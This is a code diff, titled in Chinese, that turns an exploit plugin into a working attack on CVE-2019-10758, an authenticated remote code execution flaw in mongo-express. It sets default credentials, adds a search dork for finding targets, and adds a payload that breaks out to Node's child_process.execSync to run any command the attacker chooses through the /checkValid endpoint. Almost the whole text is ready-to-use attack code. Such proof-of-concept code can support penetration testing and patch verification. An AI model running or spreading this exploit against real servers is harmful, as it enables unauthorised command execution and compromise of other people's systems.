mongo-express 认证远程代码执行漏洞（CVE-2019-10758） #

     def _options(self):
         o = OrderedDict()
-        o['user'] = OptString('', description='The username to authenticate as', require=True)
-        o['pwd'] = OptString('', description='The password for the username', require=True)
+        o['user'] = OptString('admin', description='The username to authenticate as', require=True)
+        o['pwd'] = OptString('pass', description='The password for the username', require=True)
         o['cmd'] = OptString('uname -a', description='The command to execute')
         return o

     def _exploit(self, param=''):
-        if not self._check(dork=''):
+        if not self._check(dork='mongo-express='):
             return False

         user = self.get_option('user')
         pwd = self.get_option('pwd')
         headers = {'Content-Type': 'application/x-www-form-urlencoded'}
-        payload = 'a=b'
-        res = requests.post(self.url, headers=headers, data=payload)
+        payload = (
+            'document=this.constructor.constructor("return process")().'
+            f'mainModule.require("child_process").execSync("{param}")'
+        )
+        res = requests.post(f'{self.url}/checkValid', headers=headers, data=payload, auth=(user, pwd))
         logger.debug(res.text)
         return res.text